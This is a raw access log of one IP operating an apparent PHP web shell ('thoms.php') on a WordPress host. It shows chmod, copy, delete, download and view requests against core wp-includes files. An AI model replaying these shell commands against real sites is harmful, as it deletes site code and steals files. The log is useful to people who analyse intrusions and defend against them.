45.135.193.11 - - [11/Sep/2026:23:36:38 -0400] "GET /thoms.php?chmod=class-wp-post-type.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=class-wp-post-type.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:38 -0400] "GET /betcity.com.tw/wp-includes/class-wp-block-type-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:38 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Frewrite.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11870 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Frewrite.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:38 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ftheme-previews.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11868 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ftheme-previews.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:38 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-block-pattern-categories-registry.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11897 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-block-pattern-categories-registry.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:38 -0400] "GET /thoms.php?chmod=class-wp-post.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=class-wp-post.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:38 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-site.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11873 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-site.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:38 -0400] "GET /thoms.php?chmod=compat.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=compat.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:38 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=meta.php HTTP/1.1" 200 26724 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=meta.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:39 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Frobots-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Frobots-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:39 -0400] "GET /thoms.php?chmod=sitemaps.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=sitemaps.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:39 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-taxonomy.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-taxonomy.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:39 -0400] "GET /betcity.com.tw/wp-includes/class-wp-http-encoding.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:39 -0400] "GET /thoms.php?chmod=class-wp-block-parser-block.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-parser-block.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:39 -0400] "GET /thoms.php?del=wp-db.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=wp-db.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:39 -0400] "GET /thoms.php?chmod=php-ai-client&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=php-ai-client&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:39 -0400] "GET /thoms.php?dl=compat.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=compat.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:39 -0400] "GET /thoms.php?dl=post-thumbnail-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=post-thumbnail-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:40 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-view-config-data.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-view-config-data.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:39 -0400] "GET /thoms.php?dl=block-bindings.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=block-bindings.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:39 -0400] "GET /thoms.php?dl=class-simplepie.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=class-simplepie.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:39 -0400] "GET /thoms.php?del=class-wp-comment-query.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59426 "http://163.245.207.76:443/thoms.php?del=class-wp-comment-query.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:40 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fpost-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11870 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fpost-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:40 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=block-bindings.php HTTP/1.1" 200 14310 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=block-bindings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:40 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes%2Fblock-patterns HTTP/1.1" 200 14879 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes%2Fblock-patterns" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:40 -0400] "GET /thoms.php?del=post.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=post.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:40 -0400] "GET /thoms.php?del=theme.json&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59405 "http://163.245.207.76:443/thoms.php?del=theme.json&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:41 -0400] "GET /thoms.php?chmod=blocks.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=blocks.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:41 -0400] "GET /betcity.com.tw/wp-includes/class-wp-block-parser-block.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:41 -0400] "GET /thoms.php?chmod=category.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=category.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:41 -0400] "GET /thoms.php?chmod=ms-site.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=ms-site.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:41 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-block-processor.php HTTP/1.1" 200 32887 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-block-processor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:41 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-walker-category-dropdown.php HTTP/1.1" 200 13055 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-walker-category-dropdown.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:41 -0400] "GET /thoms.php?chmod=class-wp-block-list.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11550 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-list.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:41 -0400] "GET /thoms.php?del=https-migration.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=https-migration.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:41 -0400] "GET /betcity.com.tw/wp-includes/pluggable-deprecated.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:41 -0400] "GET /thoms.php?chmod=feed-rss2.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=feed-rss2.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:41 -0400] "GET /thoms.php?dl=class-wp-http-curl.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59439 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-curl.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:41 -0400] "GET /thoms.php?chmod=vars.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=vars.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:42 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=template-loader.php HTTP/1.1" 200 13688 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=template-loader.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:42 -0400] "GET /betcity.com.tw/wp-includes/class-wp-image-editor.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:41 -0400] "GET /thoms.php?del=taxonomy.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59312 "http://163.245.207.76:443/thoms.php?del=taxonomy.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:42 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fai-client&p= HTTP/1.1" 200 12351 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fai-client&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:42 -0400] "GET /thoms.php?chmod=class-wp-customize-control.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-control.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:42 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=https-migration.php HTTP/1.1" 200 13660 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=https-migration.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:42 -0400] "GET /betcity.com.tw/wp-includes/script-loader.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:42 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Frss-functions.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11870 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Frss-functions.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:42 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-block-parser.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-block-parser.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:42 -0400] "GET /thoms.php?chmod=class-wp-block-patterns-registry.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-patterns-registry.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:42 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-block-type-registry.php HTTP/1.1" 200 13450 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-block-type-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:42 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-http-requests-hooks.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-http-requests-hooks.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:42 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-role.php HTTP/1.1" 200 12752 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-role.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:42 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-role.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-role.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:43 -0400] "GET /thoms.php?del=class-wp-simplepie-sanitize-kses.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=class-wp-simplepie-sanitize-kses.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:43 -0400] "GET /thoms.php?del=embed-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59425 "http://163.245.207.76:443/thoms.php?del=embed-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:43 -0400] "GET /thoms.php?del=class-wp-customize-widgets.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-widgets.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:43 -0400] "GET /thoms.php?del=class-wp-feed-cache-transient.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=class-wp-feed-cache-transient.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:43 -0400] "GET /betcity.com.tw/wp-includes/class-wp-user.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:43 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-object-cache.php HTTP/1.1" 200 16420 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-object-cache.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:44 -0400] "GET /thoms.php?chmod=kses.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?chmod=kses.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:44 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fwidgets&p= HTTP/1.1" 200 12353 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fwidgets&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:43 -0400] "GET /thoms.php?dl=json-schema.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?dl=json-schema.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:44 -0400] "GET /thoms.php?chmod=post.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=post.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:44 -0400] "GET /thoms.php?del=class-wp-phpmailer.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=class-wp-phpmailer.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:44 -0400] "GET /betcity.com.tw/wp-includes/rewrite.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:44 -0400] "GET /betcity.com.tw/wp-includes/sitemaps.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:44 -0400] "GET /thoms.php?dl=global-styles-and-settings.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59425 "http://163.245.207.76:443/thoms.php?dl=global-styles-and-settings.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:45 -0400] "GET /thoms.php?chmod=class-wp-image-editor-gd.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=class-wp-image-editor-gd.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:44 -0400] "GET /thoms.php?dl=theme.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=theme.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:44 -0400] "GET /thoms.php?dl=atomlib.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=atomlib.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
